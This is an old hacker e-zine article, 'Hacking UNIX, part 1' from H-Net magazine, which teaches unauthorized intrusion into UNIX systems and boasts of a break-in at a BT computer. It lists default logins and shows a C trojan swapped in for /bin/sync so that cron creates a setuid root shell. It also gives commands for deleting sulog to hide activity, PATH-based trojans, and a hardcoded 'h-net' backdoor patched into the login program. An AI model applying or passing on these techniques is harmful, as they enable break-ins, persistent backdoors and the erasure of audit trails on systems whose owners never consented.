textfiles/magazines/HNET/hnet0104.hac

                H-NET H-NET H-NET H-NET H-NET H-NET H-NET H 
                N                                         N 
                E          ** H-Net Magazine **           E 
                T                                         T 
                H   Volume One, Issue 1, File #04 of 20   H 
                N                                         N 
                E     Hacking UNIX, part 1, by WEAZLE.    E  
                T                                         T 
                H-NET H-NET H-NET H-NET H-NET H-NET H-NET H 
 
 
UNIX HACKING - PART 1. 
---------------------- 
 
You've got the 'login:' prompt - what now? 
 
try the following id's and passwords:- 
 
                ID              Password 
                --------        -------- 
                root            root 
                sysman          sysman 
                admin           admin 
                sysadmin        sysadmin (or admin) 
                unix            unix 
                uucp            uucp (or comms) 
                rje             rje 
                guest           guest 
                demo            demo 
                daemon          daemon 
                sysbin          sysbin (or bin) 
                bin             bin 
                games           games (or player sometimes) 
 
Some of these id's might not even need a password - in that case you will go 
striaght through to the '$' prompt when you have entered the ID!! 
 
Some of you might be thinking that the above accounts would be the most likely 
ones for any hackers to try and therefore the system manager of a UNIX system 
would put a password on such accounts or at least change passwords to something 
a little less obvious - well I would think that too - but it is suprising what 
percentage of systems you can get into by trying out the above accounts.  I  
don't know why the System Managers havent done anything about these accounts,  
it is probably the old British attitude of 'it will never happen to our system' 
- it can and probably will!  And dont think that it is only the small companies 
that dont do very much about the security of there UNIX systems - I logged onto 
a BT Unix computer (on a freephone/toll-free number I might add) with no id's 
or passwords so I just started using some of the ones listed above - none of 
the ones that I used worked - I was just about to give up when I thought that I 
would try one last ID and Password before disconnecting and throwing the number 
away. I didnt think for one moment that the ID that I was going to try would 
work, after all it was one of British Telecoms UNIX machines - and of course 
they would be really strict about security and things like that, but I will go 
ahead and try it anyway... :- 
 
login:sysman 
password:sysman 
 
$ 
 
I nearly fell off my chair when I got through on this account and to the '$'  
UNIX prompt, how could British Telecoms computer security be so lax? Who cares, 
 I was in! - and there was no password on the SU command!!! There is a list of
default passwords in this issue and continuous updates on Hackernet BBS. 
 

If none of these accounts let you in then try obvious things like first names  
(paul,john,steve,etc.), try using the id 'who' which on some systems will at  
the 'login:' prompt tell you who else is on (useful clues for hackers!) or see 
 if there are any clues on the logon screen eg "Welcome to British Telecoms  
RACE computer" you would try things like race,race or btr/engineer, est. ok? 
 
When you have logged onto a UNIX system, you should always do the following: 
 
$ who -u        
$ ps -ef        
$ ps -u root  
 
This prints out who is on, who is active, what is going on and what they are 
 doing at the moment, everything in the background, and so on.    
 
If you are calling the UNIX system for the first time you should enter the  
following :- 
 
$ grep :: /etc/passwd 
 
This command will output to your screen parts of the 'passwd' userlist.  The  
ones that we are interested in are the ones like this :- 
 
paul::3323:2343:race user:/usr/paul 
 
i.e. the ones with '::' after the username (paul in this case).  What this  
means is that the user paul does not need a password to log on - funnily enough 
 it is usually such accounts that have the highest level of access! 
 
Also do this: 
 
$ find / -name "*log*" -print    
 
This lists out all the files with the name 'log' in it. If you do find a  
process that is logging what you do, or an odd log file, change it as soon as 
 you can. If you think someone may be looking at you and you don't want to  
leave (Useful for school/college or university computers) then go into   
something that allows shell breaks (VI for example), or use redirection to your 
 advantage:  
 
$ cat < /etc/passwd    
 
That puts 'cat' on the ps, not 'cat /etc/passwd'. If you're running a setuid 
 process, and don't want it to show up on a ps (Not a very nice thing to have  
happen), then: 
 
$ super_shell        
# exec sh    
(Runs the setuid shell (super_shell) and puts something 'over' it. You may also 
want to run 'sh' again if you are nervous, because if you break out of an  
exec'ed process, you die. Neat, huh?  
 
Improving your id:    
 
Firstly, you should issue the command  
 
$id 
 
The system will then tell you your uid and euid. This is useful for checking on 
setuid programs to see if you have root euid privs.  
 
Also, do this:        
$ find / -perm -4000 -exec /bin/ls -lad {} ";"    
 
Yes, this finds and does an extended list of all the files that have the setuid 
bit on them, like /bin/login, /bin/passwd, and so on.  
 
If any of them look nonstandard, play with them, you never can tell what a ^|  
will do to them sometimes.  Also, if any are writeable and executable, copy sh 
over them, and you'll have a setuid root shell. Just be sure to copy whatever  
was there back, or else your stay might not last very much longer.  
 
What, you have the 'bin' passwd? Well, game over. You have control of the 
system. Everything in the bin directory is owned by bin (with the exception of  
a few things), so you can modify them at will. Since cron executes a few 
programs as root every once in a while, such as /bin/sync, try this:- 
 
       main() 
          { 
          if (getuid()==0 || getuid()==0)          
          {                     
          system("cp /bin/sh /tmp/sroot"); 
          system("chmod 4777 /tmp/sroot");   
          }                
          sync();           
          } 
 
...continued from previous page...  
 
$ cc file.c        
$ cp /bin/sync /tmp/sync.old        
$ mv a.out /bin/sync        
$ rm file.c    
 
Now, as soon as cron runs /bin/sync, you'll have a setuid shell in /tmp/sroot. 
Feel free to hide it. The 'at' & 'cron' commands l ook at the 'at' dir.  
Usually /usr/spool/cron/atjobs. If you can  run 'at' (check by typing 'at'),  
and 'lasttimedone' is writable, then submit a blank 'at' job, edit  
'lastimedone' to do what you want it to do, and move lasttimedone over your  
entry (like 88.00.00.00). Then the commands you put in lasttimedone will be  
ran as that file's owner. Cron: in /usr/spool/cron/cronjobs, there are a list 
of  people running cron jobs.  Cat rot's, and see if he runs any of the  
programs owned by you (Without doing a su xxx -c "xxx"). For that matter, check 
all the crons. If you can take one system login, you should be able to get  
the rest, in time. 
 
The disk files.    
 
These are rather odd. If you have read permission on the disks in the '/dev'  
directory then you can read any file on the system.  
 
All you have to do is find it in there somewhere. If the disk is writeable,  
if you use /etc/fsbd, you can modify any file on the system into whatever  
you want, such as  by changing the permissions on '/bin/sh' to 4555. Since this 
is pretty difficult to understand I won't bother with it any more.  
 
Trivial su.    
 
You know with su you can log into anyone elses account if you know their 
passwords or if you're root. There are still a number of system 5's that have 
uid 0, null passwd, rsh accounts on them. Just be sure to remove your entry in 
the '/usr/adm/' directory - the log file is called 'sulog' and can be removed 
 with the following command if you havent mastered the UNIX editor 'VI' yet :- 
 
$ rm /usr/adm/sulog 
 
or sometimes:- 
 
$ rm /usr/admin/sulog  
 
 
 
but one command that I always use on any new system conquest is :- 
 
$ find / -name "sulog" -print 
 
This will find all the files called 'sulog' - as some system managers have been 
known to have two sulogs running at the same time, if you delete or edit the 
one in the usual directory and then they would have a backup copy in another 
directory as well. 
 
Trojan horses?  On unix?    
 
Yes, but because of the shell variable PATH, we are generally out of luck, 
because it usually searches the '/bin' and '/usr/bin' directories first. 
 
However, if the first field is a colon, files in the present  directory are  
searched first. Which means if you put a modfied version of 'ls' there..... If 
this isn't the case, you will have to try something more blatant, like putting 
it in a game. If you have a system login, you may be able to get something  
done like that. See cron. 
 
Taking over 
 
Once you have root privs, you should read all the mail in the '/usr/mail' 
directory just to be sure that nothing interesting is in there, or anyone is 
passing another systems passwd about even! You may want to add another entry to 
the passwd file, but that's relatively dangerous to the life of your machine. 
Be sure not to have anything out of the ordinary as the entry (i.e., No uid 0). 
 
Get a copy of the login program (if at all possible) of that same version of  
unix, and modify it a bit. On system 5, here's a modification pretty common in 
the routine to check correct passwds, on the line before the actual pw check 
put a  
 
if (!(strcmp(pswd,"h-net"))) return(1);   
 
to check for your 'backdoor' password "h-net", enabling you to log on as any  
valid user that isn't uid 0 (On system 5). 
 
Other UNIX tricks 
 
Have you ever been on a system that you couldn't get 'root' status or read the 
Systems/L.sys file?  Well, this is a cheap way to overcome it:- 
 
$ uuname  
 
will list all machines reachable by your unix, then, assuming that they aren't 
direct, and that the modem is available:- 
 
$ cu -d host.you.want             
 
[or] 
 
$ uucico -x99 -r1 -shost.you.want    
 
Both will do about the same for us.  This will fill your screen with lots of 
trivial information, but will eventually get to the stage of printing the 
telephone number to the other system.   
 
'-d' enables the cu diagnostics, '-x99' enables the uucico highest debug, and 
'-R1' says 'uucp master'. A year or two ago, almost every system had their uucp 
password set to the same thing as their nuucp passwd (Thanks to the Systems 
file), so it was a breeze getting in. Even nowadays, some places do it.. you 
never can tell.     
 
 
 
Uucp 
 
Uucico and uux are limited by the Permissions file, and in most cases, that 
means means you can't do anything except get & take from the uucppublic 
directories. Then again, if the permission/L.cmd is blank, you should be able  
to take what files you want.  
 
Sending mail 
 
Sometimes, the mail program checks only the shell variable LOGNAME, so change 
it, export it, and you may be able to send mail as anyone. Mainly early system 
five's will let you do it thus :- 
                                 
$ LOGNAME="root";export LOGNAME  
 
Printing out all the files on the system 
 
Useful if you're interested in the filenames:-  
 
$ find / -print >file_list&     
 
And then do a 'grep text file_list' to find any files with 'text' in their 
names. Like grep [.]c file_list, grep host file_list....    
 
Printing out all restricted files 
 
Useful when you have root privileges. As a normal user, do :- 
 
$ find / -print >/dev/null&     
 
This prints out all non-accessable directories, so become root and see what 
they want to hide from you! 
 
UNIX Humour    
 
On a system 5, do this :-  
 
$ cat "food in cans"    
 
or :- 
 
$ banner "H-Net Lives!" 
 
Hehehe...... 
 
Password hacking -Salt 
 
In a standard /etc/passwd file, passwords are 13 characters long. This is a 11 
char encrypted passwd and a 2 char encryption modifier (salt), which is used to 
change the DES (data encryption standard) algorithm in one of 4096 ways. Which 
means that there is no decent way to go and reverse hack it. Yet. On normal 
system 5 UNIX systems passwords are supposed to be 6-8 characters long and have 
both numeric and alphabetic characters in them. Which makes a dictionary hacker 
pretty worthless. However if a user keeps insisting that his password is going 
to be 'h-net' usually the system will comply (Depending on version). I have yet
to try it, but having the hacker try the normal entry, and then the entry  
terminated by [0-9] is said to have remarkable results, if you don't mind the 
10-fold increase in time. 
 
        Written by the Weazle, (Hackers Hideout on Hackernet BBS) 
 
=============================================================================== 
[Hackernet BBS,LEEDS,UK(0532)557739, 24hrs. Home of H-Net Hacking magazine]